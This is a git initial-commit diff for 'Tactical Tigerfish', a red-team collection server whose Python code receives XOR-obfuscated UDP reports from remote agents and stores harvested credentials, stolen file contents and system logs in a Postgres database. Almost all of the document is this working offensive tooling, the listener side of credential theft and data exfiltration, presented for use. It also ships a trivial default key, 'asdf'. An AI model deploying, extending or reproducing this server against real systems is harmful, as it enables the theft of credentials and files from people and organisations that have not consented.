Initial commit
This commit is contained in:
commit
64c58bde76
26
README.md
Normal file
26
README.md
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
# Tactical Tigerfish
|
||||||
|
|
||||||
|
Tactical Tigerfish is a logging server for system information, credentials, and files in red team engagements.
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
### Install Requirements
|
||||||
|
```bash
|
||||||
|
pip install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### Configure
|
||||||
|
Either:
|
||||||
|
|
||||||
|
Update `ttf-server/config.yml` with your config values
|
||||||
|
|
||||||
|
**or**
|
||||||
|
|
||||||
|
Set environment variables
|
||||||
|
|
||||||
|
> **Note:** The values from `config.yml` are only used when `--debug` is passed when running the server.
|
||||||
|
|
||||||
|
### Run The Server
|
||||||
|
```bash
|
||||||
|
cd ttf-server
|
||||||
|
python3 ttf-server.py
|
||||||
|
```
|
||||||
13
ttf-server/config.yml
Normal file
13
ttf-server/config.yml
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
ttf_host: 0.0.0.0
|
||||||
|
ttf_port: 3424
|
||||||
|
|
||||||
|
ttf_key: asdf
|
||||||
|
|
||||||
|
ttf_postgres_host:
|
||||||
|
ttf_postgres_db_name:
|
||||||
|
ttf_postgres_user:
|
||||||
|
ttf_postgres_password:
|
||||||
|
|
||||||
|
ttf_log_file: ttf.log
|
||||||
|
ttf_print_logs: true
|
||||||
|
ttf_write_logs: true
|
||||||
2
ttf-server/requirements.txt
Normal file
2
ttf-server/requirements.txt
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
psycopg2-binary
|
||||||
|
peewee
|
||||||
4
ttf-server/tactical-tigerfish.py
Normal file
4
ttf-server/tactical-tigerfish.py
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
import ttf
|
||||||
|
|
||||||
|
server = ttf.TTFServer(ttf.config.config['ttf_host'], ttf.config.config['ttf_port'])
|
||||||
|
server.start()
|
||||||
10
ttf-server/ttf/__init__.py
Normal file
10
ttf-server/ttf/__init__.py
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
import sys
|
||||||
|
|
||||||
|
from .config import load_config
|
||||||
|
|
||||||
|
if '--debug' in sys.argv:
|
||||||
|
load_config(debug=True)
|
||||||
|
else:
|
||||||
|
load_config()
|
||||||
|
|
||||||
|
from .server import TTFServer
|
||||||
28
ttf-server/ttf/config.py
Normal file
28
ttf-server/ttf/config.py
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
import yaml
|
||||||
|
import os
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
def parse_bool_env(var_name: str, default: str) -> bool:
|
||||||
|
value = str(os.environ.get(var_name, default)).strip().lower()
|
||||||
|
return value in ('1', 'true', 'yes', 'on')
|
||||||
|
|
||||||
|
def load_config(debug: bool = False):
|
||||||
|
global config
|
||||||
|
|
||||||
|
if debug:
|
||||||
|
with open('config.yml', 'r') as config_file:
|
||||||
|
config = yaml.safe_load(config_file)
|
||||||
|
else:
|
||||||
|
config = {
|
||||||
|
'ttf_host': str(os.environ.get('TTF_HOST', '0.0.0.0')),
|
||||||
|
'ttf_port': int(os.environ.get('TTF_PORT', 3424)),
|
||||||
|
'ttf_key': str(os.environ.get('TTF_KEY', 'asdf')),
|
||||||
|
'ttf_postgres_host': str(os.environ.get('TTF_POSTGRES_HOST')),
|
||||||
|
'ttf_postgres_db_name': str(os.environ.get('TTF_POSTGRES_DB_NAME')),
|
||||||
|
'ttf_postgres_user': str(os.environ.get('TTF_POSTGRES_USER')),
|
||||||
|
'ttf_postgres_password': str(os.environ.get('TTF_POSTGRES_PASSWORD')),
|
||||||
|
'ttf_log_file': str(os.environ.get('TTF_LOG_FILE', 'ttf.log')),
|
||||||
|
'ttf_print_logs': parse_bool_env('TTF_PRINT_LOGS', 'true'),
|
||||||
|
'ttf_write_logs': parse_bool_env('TTF_WRITE_LOGS', 'true'),
|
||||||
|
}
|
||||||
49
ttf-server/ttf/database.py
Normal file
49
ttf-server/ttf/database.py
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
import peewee
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
|
||||||
|
db = peewee.PostgresqlDatabase(config['ttf_postgres_db_name'], user=config['ttf_postgres_user'], host=config['ttf_postgres_host'], password=config['ttf_postgres_password'])
|
||||||
|
|
||||||
|
class Log(peewee.Model):
|
||||||
|
agent_id = peewee.CharField(null=False)
|
||||||
|
timestamp = peewee.BigIntegerField(null=False)
|
||||||
|
tag = peewee.CharField()
|
||||||
|
log = peewee.CharField(null=False)
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'logs'
|
||||||
|
|
||||||
|
class Credential(peewee.Model):
|
||||||
|
agent_id = peewee.CharField(null=False)
|
||||||
|
timestamp = peewee.BigIntegerField(null=False)
|
||||||
|
username = peewee.CharField(null=False)
|
||||||
|
secret = peewee.CharField(null=False)
|
||||||
|
type = peewee.CharField(null=False)
|
||||||
|
service = peewee.CharField(null=True)
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'credentials'
|
||||||
|
|
||||||
|
class File(peewee.Model):
|
||||||
|
agent_id = peewee.CharField(null=False)
|
||||||
|
timestamp = peewee.BigIntegerField(null=False)
|
||||||
|
name = peewee.CharField(null=False)
|
||||||
|
path = peewee.CharField(null=True)
|
||||||
|
data = peewee.CharField(null=False)
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'files'
|
||||||
|
|
||||||
|
class Agent(peewee.Model):
|
||||||
|
agent_id = peewee.CharField(null=False)
|
||||||
|
last_log = peewee.BigIntegerField(null=False)
|
||||||
|
logs = peewee.BigIntegerField(null=False, default=0)
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'agents'
|
||||||
|
|
||||||
|
db.create_tables([Log, Agent, Credential, File])
|
||||||
17
ttf-server/ttf/logging.py
Normal file
17
ttf-server/ttf/logging.py
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
from .config import config
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
class LogLevel:
|
||||||
|
INFO = '[INFO]'
|
||||||
|
WARN = '[WARNING]'
|
||||||
|
ERROR = '[ERROR]'
|
||||||
|
|
||||||
|
def log_message(level: LogLevel, message: str) -> None:
|
||||||
|
log = f'{level} - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} - {message}\n'
|
||||||
|
|
||||||
|
if config['ttf_print_logs']:
|
||||||
|
print(log, end='')
|
||||||
|
|
||||||
|
if config['ttf_write_logs']:
|
||||||
|
with open(config['ttf_log_file'], 'a') as log_file:
|
||||||
|
log_file.write(log)
|
||||||
79
ttf-server/ttf/server.py
Normal file
79
ttf-server/ttf/server.py
Normal file
@ -0,0 +1,79 @@
|
|||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import random
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
from . import database
|
||||||
|
from .logging import log_message, LogLevel
|
||||||
|
|
||||||
|
class TTFServer:
|
||||||
|
def __init__(self, host: str, port: int) -> None:
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
|
||||||
|
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
self.server_socket.bind((self.host, self.port))
|
||||||
|
|
||||||
|
self.key = config['ttf_key']
|
||||||
|
|
||||||
|
def __xor_message(self, msg: str) -> str:
|
||||||
|
xored = ''
|
||||||
|
|
||||||
|
for i in range(len(msg)):
|
||||||
|
xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))
|
||||||
|
|
||||||
|
return(xored)
|
||||||
|
|
||||||
|
def __client_handler(self, address: tuple, msg: bytes) -> None:
|
||||||
|
log_message(LogLevel.INFO, f'Connection from {address[0]}')
|
||||||
|
|
||||||
|
try:
|
||||||
|
message_json = json.loads(self.__xor_message(msg.decode('utf-8')))
|
||||||
|
|
||||||
|
# Do we already have the agent?
|
||||||
|
if len(database.Agent.select().where(database.Agent.agent_id == message_json['id']).dicts()) == 0:
|
||||||
|
database.Agent.create(agent_id=message_json['id'], last_log=round(time.time()), logs=0) # Add it
|
||||||
|
|
||||||
|
# Get report type
|
||||||
|
if 'logs' in message_json: # Logs
|
||||||
|
for log in message_json['logs']:
|
||||||
|
database.Log.create(agent_id=message_json['id'], timestamp=round(time.time()), tag=log['tag'], log=log['log'])
|
||||||
|
|
||||||
|
elif 'creds' in message_json: # Credentials
|
||||||
|
for credential in message_json['creds']:
|
||||||
|
cred_service = None
|
||||||
|
if 'service' in credential:
|
||||||
|
cred_service = credential['service']
|
||||||
|
|
||||||
|
database.Credential.create(agent_id=message_json['id'], timestamp=round(time.time()), username=credential['user'], secret=credential['secret'], type=credential['type'], service=cred_service)
|
||||||
|
|
||||||
|
elif 'files' in message_json: # Files
|
||||||
|
for file in message_json['files']:
|
||||||
|
file_path = None
|
||||||
|
if 'path' in file:
|
||||||
|
file_path = file['path']
|
||||||
|
|
||||||
|
database.File.create(agent_id=message_json['id'], timestamp=round(time.time()), name=file['name'], path=file_path, data=file['data'])
|
||||||
|
|
||||||
|
else: # Report does not have a log
|
||||||
|
log_message(LogLevel.WARN, f'{address[0]} sent a report with no type.')
|
||||||
|
|
||||||
|
# Update the agent's logs count and last_log
|
||||||
|
database.Agent.update(logs=database.Agent.logs + 1, last_log=round(time.time())).where(database.Agent.agent_id == message_json['id']).execute()
|
||||||
|
|
||||||
|
log_message(LogLevel.INFO, f'{address[0]}\'s message: {str(message_json)}')
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
log_message(LogLevel.ERROR, f'Failed to proccess message from {address[0]}. Error: {e}')
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
msg, address = self.server_socket.recvfrom(1024)
|
||||||
|
|
||||||
|
client = threading.Thread(target=self.__client_handler, args=(address,msg))
|
||||||
|
client.start()
|
||||||
|
except Exception as e:
|
||||||
|
log_message(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}. Reason: {e}')
|
||||||
Loading…
x
Reference in New Issue
Block a user